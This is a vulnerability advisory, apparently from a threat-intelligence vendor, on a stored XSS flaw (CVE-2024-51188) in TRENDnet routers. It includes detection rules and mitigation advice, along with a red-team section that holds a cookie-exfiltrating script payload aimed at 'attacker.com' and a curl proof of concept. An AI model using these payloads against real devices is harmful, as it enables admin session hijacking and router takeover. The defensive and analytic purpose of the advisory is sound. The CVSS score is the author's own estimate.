CVE-2024-51188
Executive Summary
CVE-2024-51188 is a stored cross-site scripting (XSS) vulnerability affecting three TRENDnet router models: TEW-651BR (firmware 2.04B1), TEW-652BRP (firmware 3.04b01), and TEW-652BRU (firmware 1.00b12). The flaw resides in the /virtual_server.htm page, specifically in the vsRule_VirtualServerName_1.1.10.0.0 parameter. An attacker can inject arbitrary JavaScript or HTML into the device’s web interface, which is then stored and executed when an administrator views the affected page. This can lead to session hijacking, credential theft, or further compromise of the router’s management interface. No official patch has been released by TRENDnet, and the vulnerability is publicly documented with proof-of-concept code available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It affects embedded firmware on consumer networking hardware. No supply chain implications are present.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the nature of the vulnerability, a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – the attacker can exploit the vulnerability remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed to inject the payload.
- User Interaction (UI): Required (R) – the victim (admin) must view the affected page.
- Scope (S): Changed (C) – the vulnerable component impacts the router’s web interface.
- Confidentiality (C): Low (L) – limited data exposure.
- Integrity (I): Low (L) – stored script can modify page content.
- Availability (A): None (N) – no direct impact on availability.
Estimated CVSS Score: 6.1 (Medium)
Threat Level: Medium. The vulnerability requires user interaction (admin viewing the page) but can lead to full compromise of the router’s management interface.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the router’s web-based management interface. The /virtual_server.htm page is used to configure port forwarding rules. The parameter vsRule_VirtualServerName_1.1.10.0.0 is not properly sanitized before being stored and later rendered in the HTML response. An attacker can craft a malicious payload, such as:
<script>alert('XSS')</script>
When an administrator accesses the virtual server configuration page, the script executes in the context of the router’s web interface. This allows the attacker to:
- Steal session cookies (if HttpOnly flag is not set).
- Perform actions on behalf of the admin (e.g., change DNS settings, exfiltrate credentials).
- Redirect the admin to a malicious site.
- Inject keyloggers or other client-side attacks.
The vulnerability is present in the firmware versions listed, and no patch has been released by TRENDnet. The device is likely end-of-life.
Vulnerable vs. Patched Code
Since no patch is available, a comparison cannot be made. However, the vulnerable code likely lacks output encoding or input validation. A secure implementation would:
- Validate input to allow only alphanumeric characters and safe symbols.
- Encode output using HTML entity encoding (e.g.,
<for<). - Set the
Content-Security-Policyheader to restrict script execution.
Example of vulnerable PHP-like pseudocode:
$name = $_POST['vsRule_VirtualServerName_1.1.10.0.0'];
echo "<td>$name</td>"; // No sanitization
Patched version:
$name = htmlspecialchars($_POST['vsRule_VirtualServerName_1.1.10.0.0'], ENT_QUOTES, 'UTF-8');
echo "<td>$name</td>";
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to the router’s web interface (e.g., via LAN or exposed WAN).
- Knowledge of the vulnerable parameter.
Exploit Steps:
- Navigate to
http://<router-ip>/virtual_server.htm. - Intercept the POST request using a proxy (e.g., Burp Suite).
- Modify the
vsRule_VirtualServerName_1.1.10.0.0parameter to include a payload:<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> - Submit the request.
- When an admin views the virtual server page, the script executes and exfiltrates the cookie.
Proof-of-Concept (PoC) using cURL:
curl -X POST http://192.168.1.1/virtual_server.htm \
-d "vsRule_VirtualServerName_1.1.10.0.0=<script>alert('XSS')</script>"
Blue Team
Detection:
- Monitor HTTP POST requests to
/virtual_server.htmfor suspicious parameters. - Look for
<script>,<img>, or other HTML tags in thevsRule_VirtualServerName_1.1.10.0.0field. - Check web server logs for unusual characters or encoded payloads.
Mitigation:
- Restrict access to the router’s web interface to trusted IPs only.
- Disable remote management if not needed.
- Use a web application firewall (WAF) to filter XSS payloads.
- Upgrade to a supported router model if available.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/virtual_server.htmwithvsRule_VirtualServerName_1.1.10.0.0containing<script>or other HTML tags. - Outbound connections from the router to unknown IPs (e.g., for cookie exfiltration).
- HTTP POST requests to
- Host IOCs:
- Unusual entries in the router’s virtual server configuration (e.g., names containing JavaScript).
- Modified DNS settings or firewall rules.
- File IOCs:
- No file-based IOCs as the vulnerability is in firmware.
Detection Engineering
YARA Rule
rule CVE_2024_51188_XSS_Payload {
meta:
description = "Detects XSS payloads targeting TRENDnet routers CVE-2024-51188"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-51188"
strings:
$payload1 = "<script>" ascii wide
$payload2 = "onerror=" ascii wide
$payload3 = "javascript:" ascii wide
$param = "vsRule_VirtualServerName_1.1.10.0.0" ascii wide
condition:
any of ($payload*) and $param
}
Sigma Rule
title: TRENDnet Router Stored XSS via Virtual Server Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /virtual_server.htm with XSS payloads in the vsRule_VirtualServerName_1.1.10.0.0 parameter.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query: "/virtual_server.htm"
cs-uri-query|contains: "vsRule_VirtualServerName_1.1.10.0.0"
cs-uri-query|contains|any:
- "<script"
- "onerror="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of special characters in rule names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"TRENDnet Router Stored XSS Attempt (CVE-2024-51188)";
flow:to_server,established;
content:"POST"; http_method;
content:"/virtual_server.htm"; http_uri;
content:"vsRule_VirtualServerName_1.1.10.0.0"; http_client_body;
pcre:"/(<script|onerror=|javascript:)/i";
sid:1000001;
rev:1;
reference:cve,2024-51188;
classtype:web-application-attack;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable Remote Management: If the router’s web interface is accessible from the WAN, disable it immediately.
- Restrict Access: Allow only trusted IPs to access the management interface.
- Update Firmware: Check TRENDnet’s website for any firmware updates. If none exist, consider replacing the device.
- Use a WAF: Deploy a web application firewall to filter XSS payloads.
Long-Term Solutions:
- Replace the affected routers with supported models that receive security patches.
- Implement network segmentation to isolate IoT devices.
- Regularly audit router configurations for suspicious entries.
Vendor Contact: TRENDnet has not responded to this vulnerability. Users should pressure the vendor for a fix or migrate to alternative hardware.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.